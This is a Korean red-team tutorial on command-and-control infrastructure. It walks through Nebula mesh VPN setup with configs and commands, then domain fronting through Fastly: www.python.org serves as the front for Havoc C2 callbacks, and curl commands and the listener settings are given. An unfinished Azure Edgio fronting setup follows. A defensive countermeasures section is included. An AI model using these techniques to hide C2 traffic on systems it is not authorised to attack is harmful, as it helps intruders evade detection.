네뷸라는 호스트 인증, Certificate Authority, 역할 등을 호스트들에게 부여해 강력한 접근 제어를 지원한다. 또한, NAT 설정된 두 개의 호스트들도 공인 아이피 없이 같은 네뷸라 네트워크 안에서 소통할 수 있도록 만들 수도 있다. 마지막으로, 중앙 VPN 서버를 거쳐야할 일이 없이 때문에 속도 또한 빠르다.

### 개념

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-42933e7a7e7bd2f4235bff231d4bb43d8dd5330e%2F%EB%84%A4%EB%B7%B8%EB%9D%BC-%EC%8B%A4%EC%A0%84.drawio.png?alt=media)

네뷸라는 다음과 같은 요소들로 이뤄져있다.

**Lighthouse (등대):** 등대 서버는 네뷸라 Mesh Topology 에서 노드들이 서로 소통할 수 있는지를 확인해주고, 한 노드가 다른 노드를 찾으려고 할 때 해당 노드의 호스트이름/IP주소를 알려주는 "등대"와도 같은 역할을 한다. NAT 되어 있어서 공인 아이피주소가 없는 노드들의 경우 등대 노드의 공인 아이피를 스푸핑해서 다른 노드와 소통할 수 있도록 아이피주소를 제공해주는 (스푸핑 하도록 허락해주는...?) 역할도 제공한다.

**노드 (Node):** 레드팀 작전에서의 네뷸라 노드들은 중립 공간에 구축된 다양한 서버들을 일컫는다. 예를 들어 리다이렉터, 파일 호스팅 서버, 피싱 서버, 이메일 서버 등등이다. 이 모든 서버들은 물리적으로 다양한 지역에 존재할수도, 다양한 클라우드 플랫폼에 존재할수도 있다. 심지어 클라우드가 아니라 CDN 플랫폼에 존재할수도 있다. 이 모든 중립 공간에 구축된 노드/서버들은 네뷸라 등대 서버에 접근할수만 있다면, 네뷸라 네트워크 안에서 서로 안전하게 트래픽을 주고받을 수 있게 된다.

네뷸라 등대 서버를 클라우드 플랫폼에 구축만 해놓으면 다른 노드들에는 네뷸라 설치만 해도 같은 VPN 네트워크안에서 서로 소통할 수 있다.

### 레퍼런스

[Slack 팀의 네뷸라 발표](https://slack.engineering/introducing-nebula-the-open-source-global-overlay-network-from-slack/)

[byt3bl33dr3r - 고통없는 C2 인프라 구축](https://byt3bl33d3r.substack.com/p/taking-the-pain-out-of-c2-infrastructure-3c4?s=r)

[ArsTechnica - 네뷸라 세팅](https://arstechnica.com/gadgets/2019/12/how-to-set-up-your-own-nebula-mesh-vpn-step-by-step/)

[네뷸라 - Intro](https://theorangeone.net/posts/nebula-intro/)


# 네뷸라 설정

시작하기 앞서 이 페이지에 나오는 모든 정보 및 과정은 [이 레퍼런스](https://notes.huskyhacks.dev/blog/red-team-infrastructure-done-right)를 상당히 많이 참고했다는 점을 밝힌다. HuskyHacks 라는 분이 올린 블로그인데, 책임감 있는 레드팀 인프라 구축에 상당히 도움이 되는 블로그다. All credits goes to HuskyHacks, I do not claim any of this as my work. I'm simply practicing/mimicking his work to get some experience on creating a redteam infra.

### 네뷸라 설치

네뷸라 등대서버, 리다이렉터에 먼저 네뷸라를 설치한다

```
# 등대 서버 
sudo apt update -y 
wget https://github.com/slackhq/nebula/releases/download/v1.5.2/nebula-linux-amd64.tar.gz -O nebula.tar.gz
tar -xvf nebula.tar.gz 


# 리다이렉터 
sudo apt update -y && sudo apt install -y socat 
wget https://github.com/slackhq/nebula/releases/download/v1.5.2/nebula-linux-amd64.tar.gz -O nebula.tar.gz
tar -xvf nebula.tar.gz 
```

이후 팀 서버에도 네뷸라를 설치하고 설정을 시작한다. 팀 서버에서는 네뷸라에서 가장 중요한 Certificate Authority 를 만든 뒤, 각 노드들에게 부여할 인증서 파일들을 생성한다.

```
# 팀 서버 
mkdir ~/redteam/nebula 
cd ~/redteam/nebula 
wget https://github.com/slackhq/nebula/releases/download/v1.5.2/nebula-linux-amd64.tar.gz -O nebula.tar.gz
tar -xvf nebula.tar.gz 

./nebula-cert ca -name "Korea MBTI Health, LLC"
./nebula-cert sign -name "lighthouse" -ip "192.168.100.1/24"
./nebula-cert sign -name "teamserver" -ip "192.168.100.2/24" -groups "teamservers"   
./nebula-cert sign -name "redirector" -ip "192.168.100.3/24" -groups "redirectors"
```

### 네뷸라 설정

이제 각 노드들이 사용할 CA의 인증서, 노드 인증서, 그리고 노드 키들을 만들었으니, 설정 파일을 만들어보자. 각 네뷸라 노드들의 설정 파일들은 다음과 같다:

* lighthouse-conf.yml
* redirector-conf.yml
* teamserver-conf.yml

설정 파일들의 방화벽 설정은 언제든지 바꿔도 되지만, AWS의 방화벽이 우선순위가 더 높기 때문에 네뷸라 방화벽을 바꿀때에는 AWS의 방화벽/Security Group도 바꿔야한다. 더 자세한 설정을 위해선 공식 [네뷸라 설정 파일](https://github.com/slackhq/nebula/blob/master/examples/config.yml)을 참고한다.

모든 설정파일안의 등대 서버 공인 아이피는 꼭 본인의 등대 서버 아이피로 바꿔주자.

**lighthouse-conf.yml**

```
pki:
  ca: /home/ubuntu/ca.crt
  cert: /home/ubuntu/lighthouse.crt
  key: /home/ubuntu/lighthouse.key

static_host_map:
  "192.168.100.1": ["<등대서버-공인-아이피>:4242"]

lighthouse:
  am_lighthouse: true

listen:
  host: 0.0.0.0
  port: 4242

punchy:
  punch: true

tun:
  disabled: false
  dev: nebula1
  drop_local_broadcast: false
  drop_multicast: false
  tx_queue: 500
  mtu: 1300
  routes:
  unsafe_routes:

logging:
  level: info
  format: text

firewall:
  conntrack:
    tcp_timeout: 12m
    udp_timeout: 3m
    default_timeout: 10m
    max_connections: 100000

  outbound:
    - port: any
      proto: any
      host: any

  inbound:
    - port: any
      proto: icmp
      host: any

    - port: 22
      proto: any
      cidr: 192.168.100.0/24
```

**redirector-conf.yml**

```
pki:
  ca: /home/ubuntu/ca.crt
  cert: /home/ubuntu/redirector.crt
  key: /home/ubuntu/redirector.key

static_host_map:
  "192.168.100.1": ["<등대서버-공인-아이피>:4242"]

lighthouse:
  am_lighthouse: false
  interval: 60
  hosts:
    - "192.168.100.1"

listen:
  host: 0.0.0.0
  port: 4242

punchy:
  punch: true

tun:
  disabled: false
  dev: nebula1
  drop_local_broadcast: false
  drop_multicast: false
  tx_queue: 500
  mtu: 1300
  routes:
  unsafe_routes:

logging:
  level: info
  format: text

firewall:
  conntrack:
    tcp_timeout: 12m
    udp_timeout: 3m
    default_timeout: 10m
    max_connections: 100000

  outbound:
    - port: any
      proto: any
      host: any

  inbound:
    - port: any
      proto: icmp
      host: any

    - port: 80
      proto: any
      host: any

    - port: 443
      proto: any
      host: any

    - port: 22
      proto: any
      cidr: 192.168.100.0/24
```

**teamserver-conf.yml**

팀 서버의 포트 80과 포트 443은 리스너로 사용될 예정이다. 따라서 인바운드 80/443을 열어두지만, 오로지 같은 네뷸라 네트워크에서만 포트 80과 443이 연결 가능하도록 방화벽을 설정한다.

```
pki:
  ca: /root/redteam/nebula/ca.crt
  cert: /root/redteam/nebula/teamserver.crt
  key: /root/redteam/nebula/teamserver.key

static_host_map:
  "192.168.100.1": ["<등대서버-공인-아이피>:4242"]

lighthouse:
  am_lighthouse: false
  interval: 60
  hosts:
    - "192.168.100.1"

listen:
  host: 0.0.0.0
  port: 4242

punchy:
  punch: true

tun:
  disabled: false
  dev: nebula1
  drop_local_broadcast: false
  drop_multicast: false
  tx_queue: 500
  mtu: 1300
  routes:
  unsafe_routes:

logging:
  level: info
  format: text

firewall:
  conntrack:
    tcp_timeout: 12m
    udp_timeout: 3m
    default_timeout: 10m
    max_connections: 100000

  outbound:
    - port: any
      proto: any
      host: any

  inbound:
    - port: any
      proto: icmp
      host: any

    - port: 80
      proto: any
      cidr: 192.168.100.0/24

    - port: 443
      proto: any
      cidr: 192.168.100.0/24
```

### 네뷸라 실행

설정 파일들과 인증서들이 만들어졌다면 `ca.crt`, `.crt`, `.key`, `-conf.yml` 파일들을 각 서버들로 옮긴다.

```
# 등대 서버로 필요한 파일 scp 

┌──(root㉿kali)-[~/redteam/nebula]
└─# scp -i /root/redteam/sshkeys/aws-lighthouse-ssh ca.crt lighthouse.crt lighthouse.key lighthouse-conf.yml ubuntu@lighthouse:/home/ubuntu 
ca.crt 
lighthouse.crt 
lighthouse.key 
lighthouse-conf.yml

# 리다이렉터 서버로 필요한 파일 scp 

┌──(root㉿kali)-[~/redteam/nebula]
└─# scp -i /root/redteam/sshkeys/aws-redirector-ssh ca.crt redirector.crt redirector.key redirector-conf.yml ubuntu@redirector:/home/ubuntu 
ca.crt 
redirector.crt 
redirector.key
redirector-conf.yml
```

#### 등대 서버 - 네뷸라 실행

```
# 등대 서버 네뷸라 실행 
ssh -i aws-lighthouse-ssh ubuntu@lighthouse 

ubuntu@ip-172-31-1-5:~$ sudo ./nebula -config lighthouse-conf.yml 
INFO[0000] Firewall rule added                           firewallRule="map[caName: caSha: direction:outgoing endPort:0 groups:[] host:any ip: proto:0 startPort:0]"
INFO[0000] Firewall rule added                           firewallRule="map[caName: caSha: direction:incoming endPort:0 groups:[] host:any ip: proto:1 startPort:0]"
INFO[0000] Firewall rule added                           firewallRule="map[caName: caSha: direction:incoming endPort:22 groups:[] host: ip:192.168.100.0/24 proto:0 startPort:22]"
INFO[0000] Firewall started                              firewallHash=20074ab6410f3a8b00148fa81600962b20f990645774609aa538d99b64d8a672
INFO[0000] Main HostMap created                          network=192.168.100.1/24 preferredRanges="[]"
INFO[0000] UDP hole punching enabled                    
INFO[0000] Nebula interface is active                    build=1.5.2 interface=nebula1 network=192.168.100.1/24 udpAddr="0.0.0.0:4242"
```

#### 리다이렉터 - 네뷸라 실행

등대 서버와 교신 후 Handshake 를 하는 것을 확인할 수 있다.

```
# 리다이렉터 네뷸라 실행 
ssh -i aws-redirector-ssh ubuntu@redirector

ubuntu@ip-172-31-1-253:~$ sudo ./nebula -config redirector-conf.yml

< ... > 
INFO[0000] Nebula interface is active                    build=1.5.2 interface=nebula1 network=192.168.100.3/24 udpAddr="0.0.0.0:4242"
INFO[0000] Handshake message sent                        handshake="map[stage:1 style:ix_psk0]" initiatorIndex=2753302351 udpAddrs="[<등대-서버-아이피>:4242]" vpnIp=192.168.100.1
INFO[0000] Handshake message received                    certName=lighthouse durationNs=2339487 fingerprint=989b008898ef3df8b245743424d71d9f4da9b44ca93743b094e6786abe0e0ff0 handshake="map[stage:2 style:ix_psk0]" initiatorIndex=2753302351 issuer=bc0264c734878d756850b4d997f6d76bfebc58e5770f9ca6ab6beadc5a2ec7b1 remoteIndex=2753302351 responderIndex=3140316740 sentCachedPackets=1 udpAddr="<등대-서버-아이피>:4242" vpnIp=192.168.100.1
```

#### 팀 서버 - 네뷸라 실행

```
# 팀 서버 네뷸라 실행 

┌──(root㉿kali)-[~/redteam/nebula]
└─# ./nebula -config teamserver-conf.yml                                              

< ... > 
INFO[0000] Nebula interface is active                    build=1.5.2 interface=nebula1 network=192.168.100.2/24 udpAddr="0.0.0.0:4242"
INFO[0000] Handshake message sent                        handshake="map[stage:1 style:ix_psk0]" initiatorIndex=3897418042 udpAddrs="[<등대-서버-아이피>:4242]" vpnIp=192.168.100.1
INFO[0000] Handshake message received                    certName=lighthouse durationNs=43484001 fingerprint=989b008898ef3df8b245743424d71d9f4da9b44ca93743b094e6786abe0e0ff0 handshake="map[stage:2 style:ix_psk0]" initiatorIndex=3897418042 issuer=bc0264c734878d756850b4d997f6d76bfebc58e5770f9ca6ab6beadc5a2ec7b1 remoteIndex=3897418042 responderIndex=1618900374 sentCachedPackets=1 udpAddr="<등대-서버-아이피>:4242" vpnIp=192.168.100.1
```

### 네뷸라 구축 확인

`ip a` 등의 명령어로 네뷸라 VPN이 구축된 것을 확인할 수 있다. 예를 들어 굳이 공인 아이피주소를 사용할 필요 없이, 네뷸라 아이피주소를 이용해 SSH를 할수도 있다.

```
┌──(root㉿kali)-[/opt]
└─# ssh -i ~/redteam/sshkeys/aws-lighthouse-ssh ubuntu@192.168.100.1
Welcome to Ubuntu 22.04 LTS (GNU/Linux 5.15.0-1004-aws x86_64)

< ... > 

Last login: Tue Jun  7 22:13:36 2022 from 192.168.100.2
ubuntu@ip-172-31-1-5:~$ whoami
ubuntu
```

### 레퍼런스

[네뷸라 설정 파일](https://github.com/slackhq/nebula/blob/master/examples/config.yml)

[HuskyHacks - 제대로된 레드팀 인프라](https://notes.huskyhacks.dev/blog/red-team-infrastructure-done-right)


# 도메인 프론팅 (Domain Fronting)

## 개념

도메인 프론팅은 같은 CDN (Content Delivery Network)안의 호스트들을 대상으로 HTTPS 요청의 SNI (Server Name Indiction)에는 허용된 도메인의 이름을 지정한 뒤, HTTP의 요청 헤더 중 Host에는 원래 접근 불가능한 도메인을 특정해 네트워크 트래픽 검열 및 감시를 피하는 기법 중 하나다. 2018년도 이후로는 도메인 프론팅 자체를 막아버린 CDN 플랫폼들이 많아서 (CloudFront, Akamai, Azure 등) 더이상 많이 사용되지는 않지만, 그래도 꾸준히 레드팀이나 공격자들이 사용하는 기법이다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FxqdH2viO5Nc9hg2lia5O%2Fdomainfronting.drawio.png?alt=media&amp;token=50b93828-1893-498a-877c-f25b6c6aee45" alt=""><figcaption></figcaption></figure>

Content Delivery Network (CDN) 은 전세계 고객들이 원하는 데이터와 리소스들을 빠르게 배포하기 위해 다양한 DNS CNAME 레코드들을 사용한다. 예를 들어 특정 회사에서 이미지 호스팅을 해야할 때, Fastly 라는 CDN 회사의 서버들에 CNAME 레코드를 구축해 한국과 미국의 유저들에게 빠르게 이미지를 배포할 수 있게 된다. 예를 들어, `image.naver.com` 은 `naver.com.korea.prod.fastly.net` 이라던지 `naver.com.us-east-2.prod.fastly.net` 등의 CNAME 레코드를 갖게 된다.

HTTPS SNI와 HTTP Host 헤더의 동일함 (TLS 인증서 등)을 체크하지 않는 CDN 플랫폼의 경우 HTTPS SNI는 정상적인 도메인 (예. `image.naver.com` -> `naver.com.korea.prod.fastly.net`) 을 지정해놓고, HTTP Host 헤더는 공격자의 도메인 CNAME (예. `attacker.com.korea.prod.fastly.net`) 를 지정해놓으면, CDN 회사는 트래픽을 최종적으로 공격자의 호스트 `www.attacker.com` 에 배달을 해준다.

## 네트워크 트래픽 플로우

공격자의 피싱 이메일이 성공해서 타겟에서 에이전트가 실행됐다고 가정해보자. 공격자는 이미 다양한 정보수집을 통해서 `safe.com` 이 Fastly 라는 CDN 회사의 CNAME 레코드를 가지고 있다는 것을 알게 되었다.

```
└─# nslookup -type=CNAME www.safe.com

Non-authoritative answer:
www.safe.com  canonical name = safe.com.global.prod.fastly.net.
```

위 다이어그램에서 볼 수 있듯, 공격자는 HTTPS의 SNI에는 `www.safe.com` 을 지정한 뒤, HTTP의 Host 헤더에는 `attacker.com.global.prod.fastly.net` 을 지정한다.

1. 타겟 머신은 `www.safe.com` 과 관련된 CNAME 레코드와 CNAME의 DNS 호스트 이름과 관련된 A 레코드를 받는다. 예를 들자면 `www.safe.com` == `safe.com.global.prod.fastlyi.net` 이라는 CNAME, 그리고 A 레코드는 Fastly 사의 서버 중 한대인 `1.1.1.1` IP주소를 받는다.
2. 타겟은 `1.1.1.1` 로 자신의 HTTPS 트래픽을 보낸다.
3. Fastly사의 `1.1.1.1` 서버는 TLS Handshake 를 시작한다.
4. TLS Handshake가 끝난 뒤, 연결이 구축되면 HTTP 파싱을 진행한다.
5. 어라, HTTP의 Host 헤더에는 `attacker.com.global.prod.fastly.net` 가 있다. Fastly 서버는 자신의 CDN 네트워크를 뒤져본다. 아하, 공격자가 이미 등록해놨던 `attacker.com.global.prod.fastly.net` CNAME을 찾아낸다. "우리 CDN 네트워크에 존재하는 호스트구나!"
6. Fastly 사의 `1.1.1.1` 서버는 트래픽을 `www.safe.com` 한테 보내는 것이 아니라, `attacker.com.global.prod.fastly.net` 으로 보낸다. HTTP의 Host 헤더에 그렇게 써져있었으니까.
7. 공격자는 이미 `attacker.com.global.prod.fastly.net` 에 오는 모든 트래픽을 `www.attacker.com` 이라는 자신의 팀서버에 가도록 Fastly 플랫폼에서 설정을 해뒀다. Fastly 사의 서버는 리다이렉터처럼, 자신이 받은 트래픽을 공격자 서버에게 보낸다.
8. 공격자는 에이전트의 트래픽을 받는다.

## 사전 조건

타겟 호스트가 CDN 관련 CNAME 레코드를 갖고 있다고 해서 무조건 도메인 프론팅이 가능한 것은 아니다.

1. 도메인 프론팅이 가능한 CDN이여야 한다 (Fastly, StackPath, 등). 2010년대 후반을 거치며 AWS Cloudfront, Azure, Akamai 등, 유명한 CDN 들은 모두 도메인 프론팅을 막는 대응 방안을 도입했다.
2. 공격자는 타겟과 동일한 CDN에 가입한 뒤, 자신의 공격자 도메인을 CDN에 등록 시켜 CNAME 을 성공적으로 구축해야한다. 대부분의 CDN은 공짜로 50\~100달러 정도의 크레딧을 주기 때문에 큰 문제는 없다.&#x20;

정리하자면, 도메인 프론팅이 가능한 CDN CNAME 레코드를 가지고 있는 타겟 FQDN이 있다면 공격자도 똑같은 CDN 플랫폼에 가입한 뒤 자신의 공격자 도메인(과 호스트)를 CDN에 등록, 비슷한 CNAME을 받아 도메인 프론팅을 실행할 수 있다.

## 실습 - 세팅

> 01/30/2024: Fastly가 드디어 도메인 프론팅을 중단하기로 결정했다. 따라서 2024년 2월 이후에 이 글을 보시는 분들은 아래의 실습을 진행하지 마시길 바란다 (<https://lists.torproject.org/pipermail/anti-censorship-team/2023-October/000328.html>).&#x20;

이렇게 설명해도 복잡하긴 마련이다. 일단 실습을 진행한다.

**시나리오: 공격자는 피싱을 통해 IT 회사의 직원 중 한명의 컴퓨터를 장악했다. 이제, 공격자의 C2 서버로 콜백을 진행해야한다.**

1. 먼저, 타겟이 방문할만한 도메인을 찾는다. 파이썬의 공식 홈페이지가 괜찮아 보인다.

```
www.python.org 
```

2. 해당 서브도메인의 CNAME을 찾아본다.

```
└─# nslookup -type=CNAME www.python.org                             

Non-authoritative answer:
www.python.org  canonical name = dualstack.python.map.fastly.net.
```

`dualstack.python.map.fastly.net` 이라는 CNAME을 갖고 있다. 이는 Fastly CDN 플랫폼의 CNAME이다.

3. 공격자도 Fastly 에 계정을 생성한뒤, 공격자의 도메인을 생성한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F0ncg5z0Fp3IM9PapWldP%2Ffronting-create-domain.PNG?alt=media&amp;token=b7170f6e-7459-40a9-9fc8-ac6e4d2796b4" alt=""><figcaption></figcaption></figure>

4. Fastly CDN CNAME이 리다이렉트할 공격자의 호스트와 포트를 지정한다. 이미 만들어놨던 HTTP/S 리다이렉터 서버를 향하게 하자.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FfqxNFxoJwwUMoLdfJfEp%2Ffronting-create-host.PNG?alt=media&amp;token=a93bdb03-458d-4ac4-b852-40f02d5e37f2" alt=""><figcaption></figcaption></figure>

5. Settings > Request Settings > Action: Pass (do not cache) 를 설정해 요청들을 캐시하지 않는다.
6. Settings > Cache Settings > Action: Pass (do not cache) 를 설정해 캐시 하지 않도록 설정한다.
7. 공격자의 도메인으로 가 Fastly 관련 CNAME 레코드를 생성한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Faadzrgm75aYMW6j1OO6C%2Ffronting-cname-record.PNG?alt=media&amp;token=3731faa5-dc86-4dcb-b4d1-fb4c4802c243" alt=""><figcaption></figcaption></figure>

8. Fastly의 UI 에서 "Activate" 를 눌러 CDN 배포를 시작한다.

## 실습 - 간단

먼저 Fastly CDN에 공격자의 CNAME이 잘 설정됐고, CNAME이 리다이렉터 서버로 잘 리다이렉트 하는지 확인한다. 리다이렉터 서버에 간단한 파일을 만든뒤, Fastly CNAME 을 통해 가져와보자.

```
└─# curl https://grootbaon.com.global.prod.fastly.net/hi.txt
hello, from red team playbook!
```

이제 도메인 프론팅을 실행해보자. HTTPS SNI는 `www.python.org` 로 지정해주고, HTTP Host 헤더는 공격자의 CDN CNAME으로 지정한다.

```
└─# curl -H "Host: grootbaon.com.global.prod.fastly.net" https://www.python.org/hi.txt
hello, from red team playbook!
```

신기하다! 분명 `www.python.org` 에는 `hi.txt` 라는 파일도, 파이썬 공식 홈페이지에서 `hello, from red team playbook!` 이라는 메시지를 보낼수도 없을텐데, 해당 HTTP 응답이 돌아왔다. 이는 Fastly CDN에서 Host 헤더의 `grootbaon.com.global.prod.fastly.net` 으로 트래픽을 보냈기 때문이다.

## 실습 - 실전

cURL 도 나쁘지 않지만, 실제로 에이전트를 이용해 콜백을 진행해보자.

먼저, 팀서버에서 하복 리스너를 생성한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FzJxwdCOSM6Dh4kr9veOw%2Ffronting-havoc-listener.PNG?alt=media&amp;token=bc6372fd-e5bc-4094-bfa0-6255705858fe" alt=""><figcaption></figcaption></figure>

유의할 점은 총 3가지다.

1. Hosts: HTTPS의 SNI 와 동일하기 때문에, 도메인 프론팅에 취약한 `www.python.org` 로 지정한다.
2. Host(Bind): 리스너가 Bind 할 호스트다. 이번에도 HTTP/S 리다이렉터 + SSH 리모트 포워딩을 실행할 것이기 때문에 꼭 `0.0.0.0` 으로 지정한다.
3. Host Header: HTTP의 Host 헤더다. 공격자의 CDN CNAME 인 `grootbaon.com.global.prod.fastly.net` 으로 지정했다.

이후, 페이로드를 만들고 실행하면, 콜백이 성공적으로 오는 것을 볼 수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FqcKXrFCsrwR3GG2kj4lf%2Ffronting-havoc-success.PNG?alt=media&amp;token=86fa4784-c9c2-4c9d-beb5-79d7619c62e1" alt=""><figcaption></figcaption></figure>

네트워크 트래픽을 살펴보자.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FEzfBX4bSnLKbnDxazoIi%2Ffronting-wireshark-success.PNG?alt=media&amp;token=de962427-9197-4b03-a4c7-dad3aad75195" alt=""><figcaption></figcaption></figure>

1. DNS Query: `www.python.org` 의 A 레코드를 찾는다.
2. DNS Response: CNAME `dualstack.python.map.fastly.net` 과 함께 A 레코드인 `151.101.180.223` 을 응답한다 (오른쪽이 짤렸다).
3. 이제 타겟은 오로지 Fastly 의 서버 중 하나인 `151.101.180.223` 과만 통신한다.
4. Fastly -> HTTP 리다이렉터 -> SSH 리모트 포트 포워딩 -> 하복 팀서버로 트래픽이 들어온다.

이제 블루팀은 타겟 머신이 아주 가끔, 불규칙적으로 `www.python.org` 에 HTTPS 요청을 1개씩 보내는 것을 볼 것이다. `grootbaon.com.global.prod.fastly.net` 도, HTTPS 리다이렉터의 수상한 IP 주소도, 공격자의 수상한 도메인 `www.grootbaon.com` 도 없다. 오로지 타겟 머신은 `www.python.org` 에 트래픽을 보낼 뿐이다.

블루팀이 `www.python.org` 를 막는다면, 다른 수백만개의 Fastly를 사용하는 도메인을 사용하면 그만이다. 모든 CDN을 사용하는 도메인을 막기 전까지 도메인 프론팅은 완벽하게 막을 수 없다....

## 대응 방안

라고 생각했다면 아니다. 블루팀은 어떻게 대응해야할까? 두 가지 방법이 있다.

1. CDN 회사들이 자체적으로 SNI 와 Host 헤더의 불일치를 판별. 실제로 AWS CloudFront, Azure, Google 등에서 사용하는 방법이다. 안타깝게도, 특정 CDN 회사들은 실제로 인터넷 검열을 피해 컨텐츠들을 소비해야하는 사람들을 위해서 도메인 프론팅을 계속 허용하고 있다.
2. TLS Deep Packet Inspection 이 가능한 포워드 프록시를 이용한다.

특정 회사들의 포워드/SSL 프록시는 회사/기관내 모든 네트워크 트래픽을 소화하며 TLS Deep Packet Inspection 을 실행한다. 이때 포워드 프록시가 나가는 HTTPS 트래픽을 복호화 한 뒤, HTTPS SNI와 HTTP Host 헤더의 불일치를 확인하고, 해당 트래픽을 차단시켜 버리면 된다.

우리 회사의 프록시/SSL 프록시는 도메인 프론팅을 막고 있을까? 평범하게 파이썬 공식 홈페이지, XX 회사 공식 홈페이지, 언론사등으로 나가던 회사 직원들의 HTTPS 트래픽은 사실 도메인 프론팅을 가장한, 에이전트의 C2 콜백이 아니였을까?

## 마치며

도메인 프론팅은 CDN 이라는 새로운 플랫폼이 나오며, Routing과 DNS를 누가, 어떻게 처리할 것인가에서 비롯된 재밌는 공격/검열 우회 기법 중 하나다. 인터넷이 발달할수록, 일반적인 서버가 아닌 다양한 "호스트들" (CDN, serverless, IoTs, etc.) 이 인터넷을 채워갈수록, 공격자들은 이런 다양한 호스트들을 이용해 공격을 진행하고 있다.

유행이 지난지 몇 년이 지난 기법인데도 불구하고 아직도 도메인 프론팅이 가능한 도메인은 인터넷에 수백만개 이상 널려있다. Domain Shadowing, Domain Hiding 등의 추후에 나온 기법에 취약한 도메인들은 말할 것도 없다.

원래는 인터넷 검열과 감시를 피하기 위해 나온 기법들이 공격 기법에도 악용되는 사례는 점점 늘고 있다. 도메인 프론팅과 그 유사 기법들 또한 이런 사례들 중 하나다. 앞으로 인터넷 검열은 더 심해질 것이지만, 그에 맞는 우회 기법들도 계속해서 더 나올 것이다. 이때 공격자들이 이런 기법들을 어떻게 악용할 수 있는지 확인해야할 것이다.

## 레퍼런스

* <https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/>
* <https://www.optiv.com/explore-optiv-insights/blog/escape-and-evasion-egressing-restricted-networks>
* <https://www.optiv.com/explore-optiv-insights/blog/escape-and-evasion-egressing-restricted-networks-part-2>
* <https://github.com/vysecurity/DomainFrontingLists>
* <https://github.com/cisagov/findCDN/wiki/Domain-Fronting>
* <https://digi.ninja/blog/domain\\_fronting.php>
* <https://fortynorthsecurity.com/blog/fastly-and-fronting/>


# 도메인 프론팅 - Azure Edgio CDN

Akamai가 Edgio를 2024년 12월 인수하고, Edgio가 파산신청을 진행하며 이 도메인 프론팅은 2025/01/15 이후 더 이상 할 수 없다.

본 페이지는 다음의 링크들을 바탕으로 만들어졌습니다: <https://0xdarkvortex.dev/c2-infra-on-azure/>, <https://redops.at/en/blog/cobalt-strike-cdn-reverse-proxy-setup>)

> <mark style="color:red;">**Akamai가 Edgio를 2024년 12월 인수하고, Edgio가 파산신청을 진행하며 이 도메인 프론팅은 2025/01/15 이후 더 이상 할 수 없다.**</mark>&#x20;

2010년대 후반부터 2020년대 초반까지, 도메인 프론팅을 악용하는 공격자들 때문에 많은 수의 CDN 서비스들이 도메인 프론팅 기능을 더 이상 지원하지 않았다. 하지만 2023년 9월, 마이크로소프트가 LimeNetwork의 CDN을 edgio로 리브랜딩 하고, Azure에서 서비스 하기 시작하면서 해당 CDN은 도메인 프론팅을 다시 지원하고 있다.

도메인 프론팅과 관련된 개념은 [이전 글](https://www.xn--hy1b43d247a.com/infrastructure/domain-fronting)에서 설명했으니, 이번 글에서는 ParanoidNinja (Chetan Nayak)와 RedOps에서 발표한 블로그 글을 토대로 마이크로소프트사의 CDN을 이용해 도메인 프론팅을 진행한다.

실습으로는 하복 C2를 사용하지만, 도메인 프론팅의 개념을 알아보기 위해서 굳이 C2까지 사용하지 않아도 된다. 그냥 `python3 -m http.server 80` 하고 파일 가져오기 하는 것으로도 충분하다. 하지만 poc는 재미없기도 하고, C2 연습을 해보고 싶으니 하복을 이용해 진행한다.

## 준비물

* 공격자 도메인
* 공격자 리다이렉터 (+ 공인 아이피)
* 공격자 C2 (+ 공인 아이피)
* Azure 계정 및 구독

## 리다이렉터

리다이렉터는 nginx를 사용한다. 박스가 만들어지면 바로 공격자 도메인에 박스 공인 아이피를 이용해 A 레코드를 등록한다. 이 A 레코드는 추후 CDN에도 필요하다. 이후 certbot을 이용해 인증서를 받는다.

방화벽 (AWS security group)

* 80: 인터넷
* 443: 인터넷
* 22: 오퍼레이터 IP

```
# nginx + certbot 설치 
sudo apt update -y 
sudo apt install nginx python3-certbot-nginx certbot python3-certbot-dns-route53 -y

# 와일드카드를 위해 DNS 검증 
sudo certbot certonly -d '*.rtplaybook.com' -d 'rtplaybook.com' --manual --preferred-challenges=dns --agree-tos -m admin@rtplaybook.com

# certbot 가 내뱉는 값들 route53에 _acme-challenge.domain.com TXT 레코드로 생성 
# 귀찮지만 2번 해야한다. AWS Route53 사용시 같은 TXT 레코드에 챌린지 2줄을 적으면 된다. 
```

그러면 다음과 같이 인증서가 나온다

```
[ . . . ] 
Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/rtplaybook.com/fullchain.pem
Key is saved at:         /etc/letsencrypt/live/rtplaybook.com/privkey.pem
This certificate expires on 2025-01-29.
```

## C2

C2는 오픈소스 하복을 설치한다. 하복은 조만간 Rewrite 1.0 버전이 나올거기 때문에 설치 방법이 다를테니, 공식 깃헙 리포를 확인한다.

개념 증명용이라 작전보안은 최소한으로 생각했다. 때문에 포트포워딩이 귀찮아 그냥 공인 아이피를 주고, 오퍼레이터 집 IP에서 접근 가능하도록 방화벽을 설정한다.

방화벽 (AWS security group)

* 80: 10.0.0.0/8
* 443: 10.0.0.0/8
* 22: 오퍼레이터 IP
* 40056: 오퍼레이터 IP

```
하복 설치 - https://havocframework.com/docs/installation
```

## CDN

이후 Azure CDN 설정을 진행한다. 먼저 Subscription에서 CDN을 등록해 돈이 빠져나가도록 (...) 한다.

